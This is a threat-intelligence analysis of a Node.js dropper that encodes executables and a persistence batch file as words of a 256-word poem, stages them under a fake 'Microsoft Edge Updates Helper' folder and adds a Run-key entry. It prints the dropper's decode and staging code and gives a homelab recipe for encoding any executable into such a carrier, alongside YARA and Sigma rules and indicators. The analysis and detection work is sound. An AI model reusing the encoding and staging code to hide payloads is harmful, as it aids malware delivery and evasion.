af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3aletsdiskusscom: af4313e4 — 9.4 MB Node.js poem dropper, fourth sibling, third distinct msvcp140.dll variant
Executive Summary
Fourth confirmed sibling in the letsdiskusscom cluster. A 9.4 MB Node.js script reusing the identical 256-word English poem lookup-table from siblings d0ca14b3 and 247b54b5 to encode four embedded PE payloads and a persistence BAT. The signed Revo Uninstaller EXE, both vcruntime DLLs, and the BAT are byte-for-byte matches to prior siblings. The only delta is a third distinct msvcp140.dll version (1,138,176 bytes, SHA-256 cf964e01...), suggesting the operator bundles whatever VC++ redist is locally available rather than pinning a specific dependency. Stages to %ProgramData%\Microsoft Edge Updates Helper hvdyNBO34tkN\ and establishes HKCU\Run persistence via the embedded BAT. No C2 — fully self-contained. ^[file.txt] ^[triage.json]
What It Is
- File:
af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a.js(9,363,483 bytes) ^[exiftool.json] - Original filename:
Update_10.js^[metadata.json] - Format: JavaScript source, ASCII text, 44 lines with CRLF terminators, extremely long lines (up to 63,365 chars) ^[file.txt]
- Family:
letsdiskusscom(OpenCTI labelletsdiskuss-com; now n=4 siblings; confidence medium) ^[triage.json] - Dynamic analysis: CAPE skipped — JavaScript source is not a supported binary class for detonation ^[dynamic-analysis.md]
Embedded payloads (decoded from poem-word indices)
| Payload | SHA-256 | Size | Type | Notes |
|---|---|---|---|---|
| EXE | 8b94af60...7fc55f |
52,400 | PE32+ x64 console | RevoSrp.exe, VS Revo Group, MSVC 14.44, DigiCert signed ^[exiftool: /tmp/letsdiskuss_extract/exe] |
| DLL1 | cf964e01...93ac7fe |
1,138,176 | PE32+ x64 DLL | msvcp140.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll1] |
| DLL2 | ff43e813...4c833 |
101,672 | PE32+ x64 DLL | vcruntime140.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll2] |
| DLL3 | 7b8f70dd...6dfc7 |
44,328 | PE32+ x64 DLL | vcruntime140_1.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll3] |
| BAT | dff20059...06919 |
440 | DOS batch | Registry Run persistence script ^[manual decode of /tmp/letsdiskuss_extract/bat] |
The EXE, DLL2, DLL3, and BAT match siblings d0ca14b3 and 247b54b5 exactly by SHA-256. DLL1 is new to this sample — the third distinct msvcp140.dll observed in the cluster. ^[strings.txt:7-11] ^[strings.txt:12-17]
How It Works
Poem-word-list steganography
Identical mechanism to siblings d0ca14b3 and 247b54b5. The script defines a 256-word English poem (wlist) where each word maps to its array index (0–255). Payloads are stored as space-separated sequences of poem words. The helper writePositionsToFile(listA, listB, outPath) looks up each word in the poem to get its index, masks to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt:6] ^[strings.txt:18-26]
function writePositionsToFile(listA, listB, outPath) {
const a = listA.split(' ');
const b = listB.split(' ');
const positions = b.map(word => {
const idx = a.indexOf(word);
return idx >= 0 ? idx : 0;
});
const buffer = Buffer.from(positions.map(p => p & 0xFF));
fs.writeFileSync(outPath, buffer);
}
The 256-word list is copy-pasted verbatim from sibling d0ca14b3 — same poem, same order, same punctuation-glued indices (bade-off22, cares23, etc.). This confirms a shared build script or template rather than per-sample generation. ^[manual decode of wlist]
Staging and execution
const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper hvdyNBO34tkN`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "hvdyNBO34tkN.bat");
// ... plus three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);
The directory suffix hvdyNBO34tkN is new; prior siblings used o4Rz8i5zIF8Y and qZWpLKQXEGaa. The script writes five files, spawns the BAT (which adds registry persistence), then immediately spawns the EXE directly. ^[strings.txt:12-17] ^[strings.txt:27-41]
Build differences across all four siblings
| Feature | 9dc2cded (n=1) | d0ca14b3 (n=2) | 247b54b5 (n=3) | af4313e4 (this, n=4) |
|---|---|---|---|---|
| Encoding | Base64 string-array | Poem lookup-table | Poem lookup-table | Poem lookup-table |
| Obfuscator | javascript-obfuscator |
None | None | None |
| Size | 1.8 MB | 9.7 MB | 7.9 MB | 9.4 MB |
| Persistence | None | BAT reg add HKCU Run |
BAT reg add HKCU Run |
BAT reg add HKCU Run |
| EXE | RevoSrp.exe (match) | RevoSrp.exe (match) | RevoSrp.exe (match) | RevoSrp.exe (match) |
| msvcp140.dll | 4fcc9503... (1,149,952 B) |
0f4290cf... (1,187,328 B) |
01f5dfca... (938,496 B) |
cf964e01... (1,138,176 B) (new) |
| vcruntime140.dll | ff43e813... (match) |
ff43e813... (match) |
ff43e813... (match) |
ff43e813... (match) |
| vcruntime140_1.dll | 7b8f70dd... (match) |
7b8f70dd... (match) |
7b8f70dd... (match) |
7b8f70dd... (match) |
| BAT | N/A | dff20059... (match) |
dff20059... (match) |
dff20059... (match) |
The operator has now used four different msvcp140.dll builds across four samples while keeping the Revo EXE and the two smaller VC++ DLLs constant. This is consistent with bundling whatever VC++ redistributable is at hand rather than a fixed dependency manifest. ^[manual hash comparison across siblings]
Decompiled Behavior
Not applicable — the sample is JavaScript source, not a compiled binary. No Ghidra or radare2 analysis performed. The entire script is readable after decoding the poem lookup; no additional obfuscation layers were found. ^[rabin2-info.txt] ^[capa.txt]
C2 Infrastructure
None observed. The script is fully self-contained. All payloads are poem-encoded and embedded; no HTTP/HTTPS, DNS, socket, or IP references recovered. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]
Interesting Tidbits
- Third distinct
msvcp140.dll. Four samples, four different msvcp140.dll SHA-256s. The operator is not pinning a specific VC++ redist version — they grab whatevermsvcp140.dllis on their build machine. This is a useful cluster fingerprint: the constant EXE + DLL2 + DLL3 trio against a rotating DLL1. ^[manual hash comparison] dll4Pathdead code still present. Same copy-paste error as siblings 2 and 3:const dll4Path = path.join(folder, "hvdyNBO34tkN.bat")is declared but never passed towritePositionsToFile. The BAT is written viaautorunPathinstead. This artifact has survived three build iterations, confirming a shared template. ^[strings.txt:17]- Random suffix rotation. Each sibling uses a different 12-character alphanumeric suffix for the staging directory and BAT filename:
o4Rz8i5zIF8Y,qZWpLKQXEGaa,hvdyNBO34tkN. No discernible pattern — likely random generation per build. ^[strings.txt:5] ^[strings.txt:13] - File size variance without payload change. This sample is 9.4 MB vs 9.7 MB (sibling 2) and 7.9 MB (sibling 3). The delta is in the encoded payload string lengths — some builds pad with more repeated poem words, others less. The actual byte content of the decoded files is identical (except DLL1). ^[strings.txt]
- Signed payload reuse across 4+ samples. The Revo EXE and two vcruntime DLLs have not changed across four observed builds spanning at least two months (sibling 2 reported 2026-06-13). The operator treats these as a fixed runtime bundle and only swaps the msvcp140.dll. ^[manual hash comparison]
- No Node.js bundler. Same as all siblings — no
package.json, no portable Node.js runtime. The victim must have Node.js pre-installed, or the script is delivered inside a ZIP/MSI wrapper that includes a Node binary.
How To Mess With It (Homelab Replication)
Goal: Replicate the poem-word-list encoding technique and verify detection.
- Compose a 256-word list (any natural language; a short poem works best).
- Encode a file:
with open('payload.exe', 'rb') as f: data = f.read() words = poem.split() assert len(words) == 256 encoded = ' '.join(words[b] for b in data) - Write the carrier:
const fs = require('fs'); const wlist = "...256 words..."; function decode(listA, listB, outPath) { const a = listA.split(' '); const b = listB.split(' '); const buf = Buffer.from(b.map(w => a.indexOf(w) & 0xFF)); fs.writeFileSync(outPath, buf); } decode(wlist, encoded_exe, 'C:\\ProgramData\\Fake\\payload.exe'); - Detection test:
strings carrier.js | grep -c 'gentle'— should return thousands.awk '{print NF}'on the poem string should return exactly 256.
Deployable Signatures
YARA — Node.js poem-word-list dropper
rule NodeJS_PoemWordList_Dropper
{
meta:
description = "Node.js dropper using a 256-word natural-language lookup table to encode embedded PE payloads"
author = "PacketPursuit"
date = "2026-08-21"
hash = "af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a"
strings:
$a1 = "const fs = require('fs');" ascii
$a2 = "const path = require('path');" ascii
$a3 = "const { spawn } = require('child_process');" ascii
$b1 = "writePositionsToFile" ascii
$b2 = "Buffer.from(positions.map(p => p & 0xFF))" ascii
$b3 = "fs.writeFileSync(outPath, buffer)" ascii
$c1 = "Microsoft Edge Updates Helper" ascii
$c2 = "PROGRAMDATA" ascii
$c3 = "reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"" ascii
$pe_hdr = { 4D 5A }
condition:
filesize > 1MB and filesize < 20MB and
2 of ($a*) and
2 of ($b*) and
1 of ($c*) and
$pe_hdr
}
Sigma — BAT-based registry persistence after Node.js file drop
title: Node.js Dropper Registry Persistence
logsource:
product: windows
category: process_creation
detection:
selection_node:
Image|endswith: '\node.exe'
CommandLine|contains:
- 'Microsoft Edge Updates Helper'
- 'writePositionsToFile'
selection_reg:
Image|endswith: '\reg.exe'
CommandLine|contains:
- 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
- 'Microsoft Edge Updates Helper'
condition: selection_node and selection_reg
falsepositives:
- Unknown
level: high
IOC list
| Indicator | Value | Type |
|---|---|---|
| SHA-256 (carrier) | af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a |
Hash |
| SHA-256 (embedded EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
Hash |
| SHA-256 (embedded msvcp140) | cf964e01505914d85282b275efe840d01ed73cc614989470df2cda9dc93ac7fe |
Hash |
| SHA-256 (embedded vcruntime140) | ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 |
Hash |
| SHA-256 (embedded vcruntime140_1) | 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 |
Hash |
| SHA-256 (embedded BAT) | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
Hash |
| Install path | C:\ProgramData\Microsoft Edge Updates Helper hvdyNBO34tkN\ |
Path |
| Dropped EXE name | Microsoft Edge Updates Helper.exe |
Filename |
| Registry value | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper |
Registry |
| BAT file | hvdyNBO34tkN.bat |
Filename |
| Node.js API | writePositionsToFile |
JS function |
Behavioral fingerprint
On execution, a Node.js process creates a directory under %ProgramData% with a name mimicking a browser update helper, writes five files (one EXE, three DLLs, one BAT), then spawns the BAT with the EXE path as argument. The BAT adds the EXE to HKCU\Run under the same masquerade name. Immediately after, the Node.js process spawns the EXE directly. No network connections are initiated by the carrier. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by node.exe, followed by reg.exe adding a Run key pointing to that directory, followed by child process creation of the EXE.
Detection Signatures
| MITRE ATT&CK | Technique | Evidence |
|---|---|---|
| T1059.007 | Command and Scripting Interpreter: JavaScript | Node.js script execution, require('child_process') ^[strings.txt:1-3] |
| T1027.002 | Obfuscated Files or Information: Software Packing | Poem-word-list lookup-table encoding hides PE payloads inside natural-language text ^[strings.txt:6] |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | BAT file writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run via reg add ^[manual decode of bat payload] |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:5] |
| T1204.002 | User Execution: Malicious File | Requires victim to run .js file (delivery vector unknown) |
References
- MalwareBazaar artifact:
af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a - OpenCTI label:
letsdiskuss-com - Sibling analysis:
/intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html - Sibling analysis:
/intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html - Sibling analysis:
/intel/analyses/247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb.html - Related wiki: letsdiskusscom — entity page for this family/cluster
- Related wiki: poem-word-list-steganography — technique page for the encoding method
- Related wiki: natural-language-payload-encoding — concept page for prose-based payload hiding
- Related wiki: registry-run-persistence — procedure page for the BAT-based Run key technique
Provenance
Analysis derived from:
file.txt— file type identificationexiftool.json— metadata extractiontriage.json— triage pipeline classificationstrings.txt— raw strings extraction (line-referenced)floss.txt— FireEye floss (errored: JS input unsupported)capa.txt— Mandiant capa (errored: unsupported file format)binwalk.txt— no meaningful signaturesrabin2-info.txt— radare2 header summary (bits=0, no code)dynamic-analysis.md— CAPE sandbox skipped (JS source not supported)- Manual poem-word-list decoding via Python script
- Manual PE verification via
exiftoolandsha256sum
Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.